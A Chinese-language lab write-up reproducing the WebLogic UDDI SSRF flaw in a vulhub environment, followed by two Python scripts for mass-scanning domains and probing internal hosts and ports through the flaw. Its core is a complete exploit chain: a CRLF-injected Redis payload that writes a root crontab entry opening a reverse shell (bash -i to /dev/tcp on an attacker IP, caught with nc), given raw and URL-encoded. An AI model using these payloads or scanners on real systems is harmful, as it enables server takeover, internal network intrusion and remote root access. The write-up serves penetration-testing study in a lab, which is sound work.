0X01 概述

SSRF(Server-Side Request Forgery, 服务端请求伪造)利用漏洞可以发起网络请求来攻击内网服务。
利用SSRF能实现以下效果:
1)        扫描内网(主机信息收集,Web应用指纹识别)
2)        根据所识别应用发送构造的Payload进行攻击
3)        Denial of service(请求大文件,始终保持连接Keep-Alive Always)

0X02 vulhub weblogic SSRF 漏洞复现

环境搭建

下载vulhub:git clone https://github.com/vulhub/vulhub.git

启动环境:docker-compose up -d

访问:http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

出现以下页面,说明测试环境ok。

漏洞复现

访问以下页面,确认是否存在SSRF漏洞。

http://192.168.220.142:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.220.144

其中,最后的operator参数为内网ip,若存在此报错: weblogic.uddi.client.structures.exception.XML_SoapException,说明存在SSRF漏洞。

漏洞利用

【利用1】  探测内网存活ip

【利用2】  探测端口

【利用3】  攻击redis(通过header CRLF 注入

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入`%0a%0d`来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
 

①查看docker redis的ip地址

docker ps
docker exec -it 7b12841eedbf ip addr
172.22.0.2是docker redis的内网地址

②利用SSRF漏洞探测内网redis是否开放

 

③准备好攻击代码

 
test

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.220.140/2333 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save aaa

将上述攻击代码转换成URL编码:

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
 

④实施攻击

kali监听端口:nc -lvvp 2333 
浏览器访问:
http://192.168.220.142:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.22.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
反弹shell成功!
 

具体过程如下:

0X03 批量检测脚本

批量检测weblogic_SSRF漏洞

将域名保存在domain.txt文件中,运行脚本,自动进行批量检测。

代码如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 功能:批量探测weblogic SSRF漏洞 import re
import sys
import Queue
import requests
import threading from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning) queue = Queue.Queue()
mutex = threading.Lock() class Weblogic_SSRF_Check(threading.Thread):
"""docstring for Weblogic_SSRF_Check"""
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue def check(self,domain,ip):
payload = "uddiexplorer/SearchPublicRegistries.jsp?operator={ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip)
url = domain + payload try:
html = requests.get(url=url, timeout=15, verify=False).content m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException',html)
if m:
mutex.acquire()
with open('ssrf.txt','a+') as f:
print "%s has weblogic ssrf." % domain
f.write("%s has weblogic ssrf.\n" % domain)
mutex.release()
except Exception,e:
pass def get_registry(self,domain):
payload = 'uddiexplorer/SetupUDDIExplorer.jsp'
url = domain + payload try:
html = requests.get(url=url, timeout=15, verify=False).content
m = re.search('<i>For example: (.*?)/uddi/uddilistener.*?</i>',html)
if m:
return m.group(1)
except Exception,e:
pass def run(self):
while not self.queue.empty():
domain = self.queue.get()
mutex.acquire()
print domain
mutex.release()
ip = self.get_registry(domain)
self.check(domain,ip) self.queue.task_done() if __name__ == '__main__':
with open('C:\\Users\\m\\domain.txt','r') as f:
lines = f.readlines()
for line in lines:
queue.put(line.strip()) for x in xrange(1,50):
t = Weblogic_SSRF_Check(queue)
t.setDaemon(True)
t.start()
queue.join()

通过weblogic_SSRF漏洞探测内网ip及端口

--url参数:存在weblogic SSRF漏洞的url
--ip参数:想扫描的内网网段
 

代码如下:

#!/usr/bin/env python
# coding: utf-8
# 功能:扫描内网开放ip及端口 import argparse
import thread
import time
import re
import requests def ite_ip(ip):
#for i in range(1, 256):
for i in range(139, 146):
final_ip = '{ip}.{i}'.format(ip=ip, i=i)
thread.start_new_thread(scan, (final_ip,))
time.sleep(3) def scan(final_ip):
#ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000')
ports = ( '', '','','')
for port in ports:
vul_url = args.url + '/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip, port)
try:
r = requests.get(vul_url, timeout=15, verify=False)
result0 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException', r.content)
result1 = re.findall('route to host', r.content)
result2 = re.findall('but could not connect', r.content)
if len(result0) != 0 and len(result1) == 0 and len(result2) == 0:
out = "port exist: " + final_ip + ':' + port
print out
except Exception, e:
pass def get_ip():
vul_url = args.url + '/uddiexplorer/SetupUDDIExplorer.jsp'
r = requests.get(vul_url, timeout=15, verify=False)
reg = re.compile(r"For example: http://\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\ b")
result1 = reg.findall(r.content)
result = ""
if result1:
result = result1[0].replace("For example: http://","")
return result if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Weblogic SSRF vulnerable exploit')
parser.add_argument('--url', dest='url', required=True, help='Target url')
parser.add_argument('--ip', dest='scan_ip', help='IP to scan')
args = parser.parse_args()
ip = '.'.join(args.scan_ip.split('.')[:-1])
#print ip
#ip = get_ip()
if ip:
ite_ip(ip)
else:
print "no ip"

SSRF——weblogic vulhub 漏洞复现及攻击内网redis(一)(附批量检测脚本)的更多相关文章

  1. 【vulhub】Weblogic CVE-2017-10271漏洞复现&&流量分析

    Weblogic CVE-2017-10271 漏洞复现&&流量分析 Weblogic CVE-2017-10271 XMLDecoder反序列化 1.Weblogic-XMLDeco ...

  2. Weblogic CVE-2020-2551漏洞复现

    Weblogic CVE-2020-2551漏洞复现 0x00 前言 在一次渗透测试过程中,碰见了该漏洞,并使用在野的POC验证了这个漏洞存在,当时工具网传的利用方式去进行利用,没有成功,可能是自己太 ...

  3. Redis利用,攻击内网(ssrf)

    Redis语法 REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统. Redis是一个开源的使用ANSI C ...

  4. Weblogic CVE-2020-2551漏洞复现&CS实战利用

    Weblogic CVE-2020-2551漏洞复现 Weblogic IIOP 反序列化 漏洞原理 https://www.anquanke.com/post/id/199227#h3-7 http ...

  5. Weblogic CVE-2018-2894 漏洞复现

    0x01 前言 Oracle官方发布了7月份的关键补丁更新CPU(Critical Patch Update),其中针对可造成远程代码执行的高危漏洞 CVE-2018-2894 进行修复:http:/ ...

  6. Weblogic(CVE-2017-10271)漏洞复现

    WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271) 漏洞编号:CVE-2017-10271 漏洞描述:WebLogic WLS组件中存在CVE-2017-10271远程 ...

  7. KALI搭建Docker+Vulhub漏洞复现环境

    在学习网络安全的过程中,少不了的就是做漏洞复现,而漏洞复现一般比较常用的方式就是使用docker-vulhub进行环境搭建,我近期也遇到了这个问题,但是网上的教程特别混乱,根本起不到帮助作用,即使有可 ...

  8. SSRF打内网redis

    0x00 redis基础 REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统.Redis是一个开源的使用AN ...

  9. 利用公网Msf+MS17010跨网段攻击内网

    其实很多小白在对利用msf进行ms17010攻击的时候总是不成功,其实这都是因为网上大部分的文章都是写的内网对内网(192.168.1.2-->192.168.1.3)这样的案例,今天写了一下利 ...

随机推荐

  1. hive 的 beeline用法

    先开启服务端: nohup hive --service metastore & nohup  hive --service hiveserver2 & 进入beeline: beel ...

  2. PV UV TPS QPS

    名词解释 PV Page View,网页浏览量.网页被读者调用浏览的次数.网页每次打开或刷新一次页面,记录一次.用户对同一页面的多次访问,访问量累计. UV Unique Visitor,独立访问者. ...

  3. Oracle的dual是什么东西啊??(答:伪表)

    1. dual 确实是一张表.是一张只有一个字段,一行记录的表.2.习惯上,我们称之为'伪表'.因为他不存储主题数据.3. 他的存在,是为了操作上的方便.因为select 都是要有特定对象的.如:se ...

  4. qt5.10 开发安卓之硌手的小虫子们

    1.jdk 下载: 下载地址:http://www.oracle.com/technetwork/java/javase/overview/index.html windows 平台不要下载java ...

  5. NodeJS基础知识

    console.log方法: console.log("This is a test string"); node app.js 使用重定向标准输出流: node app.js 1 ...

  6. 1825:【01NOIP提高组】数的划分

    #include<bits/stdc++.h> using namespace std; ],tot; void dfs(int num,int pos) { if(pos==k) ]) ...

  7. Python基础之只接收关键字参数的函数

    当我们希望函数的某些参数强制使用关键字参数时,可以将强制关键字参数放到某个*后面就能得到这种效果.比如: def recv(maxsize, *, block): """ ...

  8. [端口安全]Hydra密码爆破

    目录 0x01 简介 0x02 常见参数 0x03 使用案例 0x04 密码字典 0x01 简介 Hydra中文名:九头蛇,这是一款相当强大的爆破工具,它基本支持了所有可爆破协议,而且容容错率非常好 ...

  9. Tcl循环语句

    for 开始 判断语句 变量自增(自检) 循环体 示例代码: for {set i 0} {$i<10} {incr i} { puts "I is: $i " } 运行结果 ...

  10. 如何从DOS命令窗口进行复制粘贴

    在DOS窗口没有右键复制按钮,那我们如果想要进行复制粘贴该如何操作呢?本篇就来说明一下这个操作流程. 工具/原料   WIN7系统 方法/步骤     按“WIN+R”调出运行页面,在其中输入CMD然 ...